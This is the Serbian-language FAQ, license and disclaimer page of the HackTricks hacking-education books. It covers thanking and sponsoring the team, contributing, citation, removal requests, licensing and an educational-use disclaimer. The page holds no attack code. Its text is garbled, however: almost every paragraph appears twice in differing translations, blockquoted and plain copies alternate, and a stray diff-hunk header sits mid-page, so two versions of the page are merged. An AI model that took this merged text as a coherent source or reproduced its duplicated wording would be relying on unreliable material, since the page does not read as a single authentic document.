> - Tim HackTricks-a je posvetio hiljade sati besplatno **samo za organizaciju sadržaja** kako bi ljudi mogli **brže da uče**
> - U nekoliko slučajeva ćemo samo napisati **u HackTricks-u sažetak važnih delova** tehnike i **ohrabriti čitaoca da poseti originalni post** za više detalja.
> - **ORGANIZOVATI** sve hacking tehnike u knjizi kako bi bile **PRISTUPAČNIJE**
> - Tim HackTricks-a je besplatno posvetio hiljade sati isključivo **za organizovanje sadržaja** tako da ljudi mogu **učiti brže**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## HackTricks FAQ
## Često postavljana pitanja o HackTricks
> [!TIP]
>
> - **Hvala vam puno za ove resurse, kako mogu da vam zahvalim?**
> - **Hvala vam puno za ove resurse, kako mogu da vam se zahvalim?**
Možete javno zahvaliti HackTricks timu za objavljivanje svih ovih resursa u tweetu pominjući [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Možete javno zahvaliti HackTricks timu za prikupljanje svih ovih resursa objavom tweet-a pominjući [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Ako ste posebno zahvalni, možete takođe [**sponzorisati projekat ovde**](https://github.com/sponsors/carlospolop).\
I ne zaboravite da **date zvezdicu u Github projektima!** (Pronađite linkove dole).
I ne zaboravite da **stavite zvezdicu na GitHub projektima!** (Pronaći ćete linkove ispod).
> [!TIP]
>
> - **Kako mogu da doprinesem projektu?**
Možete **podeliti nove tips & tricks sa zajednicom ili ispraviti bagove** koje pronađete u knjigama slanjem **Pull Request** na odgovarajuće Github stranice:
Možete **podeliti nove savete i trikove sa zajednicom ili ispraviti greške** koje pronađete u knjigama slanjem **Pull Request** na odgovarajuće GitHub stranice:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
Ne zaboravite da **date zvezdicu u Github projektima!**
Ne zaboravite da **stavite zvezdicu na GitHub projektima!**
> [!TIP]
>
> - **Mogu li kopirati neki sadržaj iz HackTricks-a i staviti ga na svoj blog?**
> - **Mogu li kopirati deo sadržaja iz HackTricks-a i staviti ga na svoj blog?**
Da, možete, ali **ne zaboravite da navedete konkretan link ili linkove** odakle je sadržaj preuzet.
> [!TIP]
>
> - **Kako mogu da referenciram stranicu HackTricks-a?**
> - **Kako da referenciram stranicu iz HackTricks-a?**
Sve dok je prikazan link stranice/stranica odakle ste preuzeli informacije, to je dovoljno.\
Dokle god je prikazan link **stranice/stranica** odakle ste uzeli informaciju, to je dovoljno.\
Ako vam treba bibtex, možete koristiti nešto poput:
```latex
@misc{hacktricks-bibtexing,
@ -62,82 +62,84 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
> - **Mogu li da kopiram sve HackTricks na svom blogu?**
>
> **Radije ne bih.** To **neće koristiti nikome** jer je sav **sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno.
>
> Ako se plašite da će nestati, jednostavno ga fork-ujte na Github-u ili preuzmite, kao što sam rekao, već je besplatno.
>
> - **Mogu li kopirati sav sadržaj HackTricks-a na svoj blog?**
**Radije ne**. To **neće koristiti nikome** jer je sav **sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno.
Ako se plašiš da će nestati, jednostavno ga fork-uj na Github-u ili preuzmi — kao što sam rekao, već je besplatno.
> [!WARNING]
>
> - **Zašto imate sponzore? Da li su HackTricks knjige u komercijalne svrhe?**
>
> Prva **HackTricks** **vrednost** je da ponudi **BESPLATNE** edukativne resurse o hakovanju za **CEO** svet. HackTricks tim je uložio **hiljade sati** da ponudi ovaj sadržaj, opet, **BESPLATNO**.
>
> Ako mislite da su HackTricks knjige napravljene u **komercijalne svrhe**, **skroz grešite**.
>
> Imamo sponzore jer, iako je sav sadržaj BESPLATAN, želimo da **ponudimo zajednici mogućnost da ceni naš rad** ako to žele. Stoga nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), i **odgovarajuće kompanije iz oblasti sajber bezbednosti** da sponzorišu HackTricks i da **ima nekoliko oglasa** u knjizi pri čemu su **oglasi** uvek postavljeni na mestima gde su **vidljivi** ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj.
>
> Nećete naći HackTricks prepun dosadnih oglasa kao na drugim blogovima sa mnogo manje sadržaja od HackTricks, jer HackTricks nije napravljen u komercijalne svrhe.
>
> - **Zašto imate sponzore? Jesu li HackTricks knjige komercijalnog karaktera?**
Prva **HackTricks** **vrednost** je da ponudi **BESPLATNE** edukativne resurse za **hacking** **CELOM** svetu. Tim HackTricks-a je **posvetio hiljade sati** da ponudi ovaj sadržaj, ponovo, **BESPLATNO**.
Ako mislite da su HackTricks knjige napravljene za **komercijalne svrhe**, potpuno ste **U KRIVU**.
Imamo sponzore jer, iako je sav sadržaj **BESPLATAN**, želimo da **ponudimo zajednici mogućnost da cene naš rad** ako to žele. Zato nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), i **relevantne cybersecurity kompanije** mogu sponzorisati HackTricks i **imati neke reklame** u knjizi, pri čemu su **reklame** uvek postavljene na mesta gde su **vidljive** ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj.
Nećete naći HackTricks prepun dosadnih reklama kao na drugim blogovima sa mnogo manje sadržaja, jer HackTricks nije napravljen u komercijalne svrhe.
> [!CAUTION]
>
> - **Šta da uradim ako je neka HackTricks stranica zasnovana na mom blog postu, ali nije referencirana?**
>
> **Veoma nam je žao. Ovo se ne bi trebalo desiti.** Molimo vas da nas obavestite preko Github issues, Twitter-a, Discord-a... pošaljite link HackTricks stranice sa sadržajem i link vašeg bloga i **proverićemo i dodaćemo to što pre**.
>
> - **Šta da uradim ako je neka HackTricks stranica zasnovana na mom blog postu ali nije referencirana?**
**Veoma nam je žao. Ovo se nije trebalo desiti**. Molimo te, obavesti nas putem Github issues, Twitter, Discord... pošalji link HackTricks stranice sa sadržajem i link tvog bloga i **proverićemo i dodaćemo to što pre**.
> [!CAUTION]
>
> - **Šta da uradim ako postoji sadržaj sa mog bloga u HackTricks i ne želim da bude tamo?**
>
> Imajte na umu da postojanje linkova ka vašoj stranici u HackTricks:
>
> - Poboljšava vaš **SEO**
> - Sadržaj se **prevodi na više od 15 jezika**, omogućavajući većem broju ljudi pristup ovom sadržaju
> - **HackTricks podstiče** ljude da **provere vašu stranicu** (nekoliko ljudi nam je reklo da otkako je neka njihova stranica u HackTricks dobili su više poseta)
>
> Međutim, ako i dalje želite da sadržaj vašeg bloga bude uklonjen iz HackTricks, samo nas obavestite i mi ćemo definitivno **ukloniti svaki link ka vašem blogu**, i sav sadržaj zasnovan na njemu.
>
> - **Šta da uradim ako postoji sadržaj sa mog bloga na HackTricks-u i ne želim da bude tamo?**
Imajte na umu da prisustvo linkova ka vašoj stranici na HackTricks-u:
- Poboljšava vaš **SEO**
- Sadržaj se **prevodi na više od 15 jezika**, što omogućava većem broju ljudi pristup ovom sadržaju
- **HackTricks podstiče** ljude da **provere vašu stranicu** (više ljudi nam je pomenulo da od kada je neka njihova stranica u HackTricks-u dobijaju više poseta)
Međutim, ako ipak želite da sadržaj vašeg bloga bude uklonjen iz HackTricks-a, samo nam javite i mi ćemo definitivno **ukloniti sve linkove ka vašem blogu**, i svaki sadržaj zasnovan na njemu.
> [!CAUTION]
>
> - **Šta da uradim ako pronađem kopirani sadržaj u HackTricks?**
>
> Uvek dajemo **originalnim autorima sve zasluge**. Ako pronađete stranicu sa kopiranim sadržajem bez reference na izvor, obavestite nas i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **preformulisati dodajući link**.
>
> ## LICENSE
>
> Copyright © Sva prava zadržana osim ako nije drugačije navedeno.
>
> #### Sažetak licence:
>
> - Attribution: Slobodno možete:
> - Share — kopirati i distribuirati materijal u bilo kom medijumu ili formatu.
> - Adapt — remiksovati, transformisati i graditi na osnovu materijala.
>
> #### Dodatni uslovi:
>
> - Third-Party Content: Delovi ovog bloga/knjige mogu uključivati sadržaj iz drugih izvora, kao što su iseci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja vrši se u skladu sa načelima fair use ili uz izričitu dozvolu od strane nosilaca autorskih prava. Molimo pogledajte originalne izvore za specifične informacije o licenciranju trećeg sadržaja.
> - Authorship: Originalni sadržaj koji je autorstvo HackTricks podleže uslovima ove licence. Podstičemo vas da navedete autora kada delite ili prilagođavate ovaj rad.
>
> #### Izuzeci:
>
> - Commercial Use: Za upite u vezi komercijalne upotrebe ovog sadržaja, molimo kontaktirajte me.
>
> Ova licenca ne daje nikakva prava na zaštitne znakove ili brendiranje u vezi sa sadržajem. Svi zaštitni znakovi i brendiranje prikazani u ovom blogu/knjizi su vlasništvo njihovih odgovarajućih vlasnika.
>
> **Pristupanjem ili korišćenjem HackTricks, slažete se da se pridržavate uslova ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, nemojte pristupati ovom veb-sajtu.**
>
> ## **Odricanje odgovornosti**
>
> - **Šta da uradim ako nađem kopirani sadržaj u HackTricks-u?**
Uvek dajemo **sva priznanja originalnim autorima**. Ako nađete stranicu sa kopiranim sadržajem bez reference na originalni izvor, javite nam i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **prepisati ga i dodati link**.
## LICENSE
Copyright © Sva prava zadržana osim ako nije drugačije navedeno.
#### Sažetak licence:
- Atribucija: Slobodni ste da:
- Share — kopirajte i redistribuirajte materijal u bilo kom mediju ili formatu.
- Adapt — remiksujte, transformišite i gradite dalje na materijalu.
#### Dodatni uslovi:
- Sadržaj trećih lica: Neki delovi ovog bloga/knjige mogu uključivati sadržaj iz drugih izvora, kao što su isečci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja vrši se u skladu sa principima fair use-a ili uz izričitu dozvolu odgovarajućih nosilaca autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenci koje se odnose na sadržaj trećih lica.
- Autorstvo: Originalni sadržaj koji je autorisao HackTricks podleže uslovima ove licence. Preporučujemo da prilikom deljenja ili prilagođavanja navedete autora.
#### Izuzeci:
- Komercijalna upotreba: Za upite u vezi komercijalne upotrebe ovog sadržaja, molimo kontaktirajte me.
Ova licenca ne dodeljuje nikakva prava na žigove ili brendiranje u vezi sa sadržajem. Svi žigovi i brendiranje prikazani u ovom blogu/knjizi su vlasništvo njihovih odgovarajućih nosilaca.
**Pristupanjem ili korišćenjem HackTricks-a prihvatate uslove ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, ne pristupajte ovom sajtu.**
## **Disclaimer**
> [!CAUTION]
> Ova knjiga, 'HackTricks,' namenjena je isključivo u edukativne i informativne svrhe. Sadržaj ove knjige pruža se "kakav jeste", i autori i izdavači ne daju nikakve izjave ili garancije, izričite ili implicirane, o potpunosti, tačnosti, pouzdanosti, podobnosti ili dostupnosti informacija, proizvoda, usluga ili povezanih grafika sadržanih u ovoj knjizi. Svako oslanjanje na takve informacije je stoga strogo na vaš rizik.
> Ova knjiga, 'HackTricks,' namenjena je isključivo obrazovnim i informativnim svrhama.
>
> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući bez ograničenja, indirektne ili posledične gubitke ili štete, ili bilo kakav gubitak ili štetu proisteklu iz gubitka podataka ili profita koji proizilaze iz ili u vezi sa upotrebom ove knjige.
> Sadržaj u ovoj knjizi dostavlja se 'kakav jeste', a autori i izdavači ne daju nikakve izjave niti garancije, izričite ili implicitne, u vezi sa potpunošću, tačnošću, pouzdanošću, prikladnošću ili dostupnošću informacija, proizvoda, usluga ili pratećih grafika sadržanih u ovoj knjizi. Svako oslanjanje na takve informacije stoga je isključivo na vaš sopstveni rizik.
>
> Nadalje, tehnike i saveti opisani u ovoj knjizi pružaju se u edukativne i informativne svrhe i ne bi trebalo da se koriste za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, i svaka upotreba informacija sadržanih u ovoj knjizi je na sopstveni rizik i odgovornost korisnika.
> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektni ili posledični gubitak ili štetu, niti bilo kakav gubitak ili štetu proisteklu iz gubitka podataka ili profita koji nastanu iz upotrebe ove knjige ili u vezi s njom.
>
> Korisnik je isključivo odgovoran za sve radnje preduzete na osnovu informacija sadržanih u ovoj knjizi i uvek bi trebalo da potraži profesionalni savet i pomoć prilikom pokušaja implementacije bilo koje od opisanih tehnika ili saveta.
> Pored toga, tehnike i saveti opisani u ovoj knjizi pružaju se samo u obrazovne i informativne svrhe i ne bi trebalo da se koriste za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, te je svako korišćenje informacija iz ove knjige na sopstveni rizik i odgovornost korisnika.
>
> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve odgovornosti i odgovornosti za bilo kakvu štetu, gubitke ili povrede koje mogu proisteći iz upotrebe ove knjige ili bilo kojih informacija sadržanih u njoj.
> Korisnik je isključivo odgovoran za bilo koje radnje preduzete na osnovu informacija sadržanih u ovoj knjizi, i treba uvek da potraži profesionalni savet i pomoć kada pokuša da primeni bilo koju od tehnika ili saveta opisanih ovde.
>
> {{#include ../banners/hacktricks-training.md}}
> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve odgovornosti za bilo kakvu štetu, gubitke ili povrede koje mogu proisteći iz korišćenja ove knjige ili bilo kojih informacija u njoj.
{{#include ../banners/hacktricks-training.md}}